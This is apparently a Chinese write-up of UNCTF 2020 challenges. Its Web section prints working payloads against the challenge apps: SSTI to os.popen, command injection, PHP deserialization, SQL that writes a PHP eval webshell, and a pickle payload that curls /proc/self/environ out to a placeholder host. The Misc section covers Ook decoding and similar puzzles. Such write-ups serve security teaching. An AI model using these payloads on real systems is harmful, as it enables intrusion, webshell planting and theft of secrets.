UNCTF 2020
Web
easy_ssrf
简单的目录穿越,构造 ?url=/unctf.com/../flag
即可得到 flag。
FLAG{78ef5928-3393-4b23-a9ca-de433e161c3a}
babyeval
根据提示,可以知道 flag 在 flag.php 中。题目过滤了括号,根据 PHP 的特性整点反引号,再用 od 来输出以绕过字符的检测,构造 ?a=echo `od -A d -c f???.???`;
可以得到 flag。
FLAG{0b8654d3-3a70-4549-bf90-ef9b58d8cfef}
UN's_online_tools
bash 指令的堆叠,过滤了一些字符,使用 %0a
作为指令分割,%09
作为指令中的分隔,构造 ?url=1.1.1.1%0aod%09-A%09d%09-c%09/f???%0a
即可得到 flag。
FLAG{d0faa519-cb49-404a-a99b-891d37c5690d}
easyflask
在 /register
路由下注册用户名为 admin
的用户后在 /login
下登录,回到首页后可以得到 admin login success and check the secret route /secret_route_you_do_not_know
。
定位到提示的路由,发现一个 guess
参数,发现存在 SSTI。继续尝试发现很多字符被 ban 了,于是尝试 attr 绕过。以 {{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
范本,构造 attr 绕过参数,得到如下结果。
?guess={{(config|attr(request.args.param)|attr(request.args.param1)|attr(request.args.param2)|attr(request.args.param3)(request.args.param4)|attr(request.args.param5)(request.args.param6)|attr(request.args.param7)())}}
¶m=__class__
¶m1=__init__
¶m2=__globals__
¶m3=__getitem__
¶m4=os
¶m5=popen
¶m6=ls
¶m7=read
得到 __pycache__ app.py flag.txt templates error!!
的回显,可知 flag 在当前目录下,继续构造 cat flag.txt
得到 flag。
FLAG{f1065588-34fc-4817-809d-753b58da3321}
ezphp
字符串和 bool 的 true弱比较的时候相等,配合反序列化控制变量。构造出 payload 如下。
<?php
echo serialize(array(
"username"=> true,
"password" => true
));
得到 a:2:{s:8:"username";b:1;s:8:"password";b:1;}
。将其以 POST 的方式作为参数 data
传送,即可得到 flag。
FLAG{40371f04-6f0f-4eb9-8768-85e503928711}
easyunserialize
反序列化字符逃逸,关键在于 return str_replace('challenge', 'easychallenge', $string);
的少变多的操作,可以在序列化字符串末尾拼接逃逸。计算逃逸字符数并构造 payload 如下。
<?php
echo filter(serialize(new a("LemonPrefectchallengechallengechallengechallengechallengechallengechallengechallenge\";s:8:\"password\";s:4:\"easy\";}nox", "easy")));
得到 O:1:"a":2:{s:5:"uname";s:116:"LemonPrefecteasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge";s:8:"password";s:4:"easy";}nox";s:8:"password";s:4:"easy";}
,将其中需要填入的参数取出,构造得 ?1=LemonPrefecteasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge";s:8:"password";s:4:"easy";}nox
。将构造所得参数作为 GET 参数发起请求即可得到 flag。
FLAG{78cae2f3-89df-4ae3-a63c-23ef9efa0383}
easyphp
查看 response header 中的 X-Powered-By: PHP/7.4.5
, 查阅手册可知代码中部分函数已经被停用,进而简化代码如下。
<?php
$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
function getVars()
{
$totals = array_merge($_GET, $_POST);
if (count($_GET)) {
foreach ($_GET as $key => $value) {
global ${$key};
if (is_array($value)) {
$temp_array = array();
foreach ($value as $key2 => $value2) {
$temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
}
${$key} = $_GET[$key] = $temp_array;
} else {
${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
}
}
}
}
getVars();
highlight_file(__FILE__);
//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
echo 'you can set config variables!!' . '</br>';
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
echo strlen(($GLOBALS[$key]));
echo "\$$key" . '="' . $GLOBALS[$key] . '";';
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
} else {
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key)) {
echo ($GLOBALS[$key]) . '</br>';
}
}
}
审计可知所有请求变量会被设置至全局,同时所有单引号和双引号均会被加上反斜杠以转义。设置环境变量的地方进行了简单的 md5 和 sha1 验证,同时对参数长度和名称做出限定。
adminPassword
可以直接利用变量的全局设定轻松覆盖,因此得到password=LemonPrefect&adminPassword=7f41a8661986fdd34d63d4cdde2249c5
。查阅资料可知,0e01000111101111110010010010000001001001
的 sha1 仍然为 0e
开头,进而达成 0 == 0 的比较。利用一个全局变量加一个将被拼接执行的变量 var1
即可达成查看 phpinfo。同时,var1
需要配合语句的闭合。因此,构造 var1=\";$b();?>
,b=phpinfo
。
整理上述参数,得到 payload。
?password=LemonPrefect
&adminPassword=7f41a8661986fdd34d63d4cdde2249c5
&verif=0e01000111101111110010010010000001001001
&b=phpinfo
&var1=\";$b();?>
将上述参数构造请求发送即可得到 phpinfo,在其中可以找到 flag。
FLAG{720731af-7dc9-45fa-b252-a82cc4601de9}
checkin-sql
看起来很像人畜无害的随便注,然而随便注的三种套路都不行。关键在于 PREPARE
与十六进制的配合。 PREPARE
可以构造出 prepare d from 0x73656c6563742f2a2a2f223c3f70687020406576616c28245f504f53545b615d293b203f3e2220696e746f206f757466696c6520272f7661722f7777772f68746d6c2f612e70687027;execute d;
这样的语句来写入一个文件,从而直接 getshell。
0x73656c6563742f2a2a2f223c3f70687020406576616c28245f504f53545b615d293b203f3e2220696e746f206f757466696c6520272f7661722f7777772f68746d6c2f612e70687027
=> select/**/"<?php @eval($_POST[a]); ?>" into outfile '/var/www/html/a.php'
getshell 之后直接构造 system("cat /flag");
可得 flag。
easy_flask2
pickle 反序列化 参考
从 /source
路由读取源码,可以发现 flag 存放在环境变量中。同时发现可控的 pickle 反序列化点,简单过滤了 R
。
if session.get('name'):
if b'R' in base64.b64decode(request.cookies['pkl']):
return "RCE??"
person = pickle.loads(base64.b64decode(request.cookies['pkl']))
从参考处获取不含 R
的 payload,因为没有回显,所以构造一个 curl 请求来从服务端使用 nc
监听来获取文件内容。
b'''(S'curl -F "filename=@/proc/self/environ" YOUR_HOST'
ios
system
.'''
按照题目的方式,在登陆后定向到 /login
路由后,将 payload base64 编码后设置到 pkl
cookie。刷新页面,即可在监听处获取到环境变量的内容,其中包含 flag。
FLAG{a1b56cec-8b90-4e22-a8e1-98069088bb13}
Misc
阴阳人编码
将 就这
不会吧
都替换成 Ook
并整理符号后得到如下文本。
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook.
Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook.
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook?
Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook?
Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook.
Ook? Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook. Ook? Ook.
将其解码后得到 flag。
flag{9_zhe_Jiu_zhe_8_hui_8}
YLB's CAPTCHA - 签到题
验证码图片截下来,PS 调整色阶到能看得很清的程度,然后输入验证码,积累十个正确提交得到 flag。
UNCTF{cc95bcb8-f09e-4134-82d2-cb4446d5d93f}
baba_is_you
010editor 打开文件,发现其尾部有一个链接。
访问链接,在 B 站评论区找到 flag。
unctf{let's_study_pwn}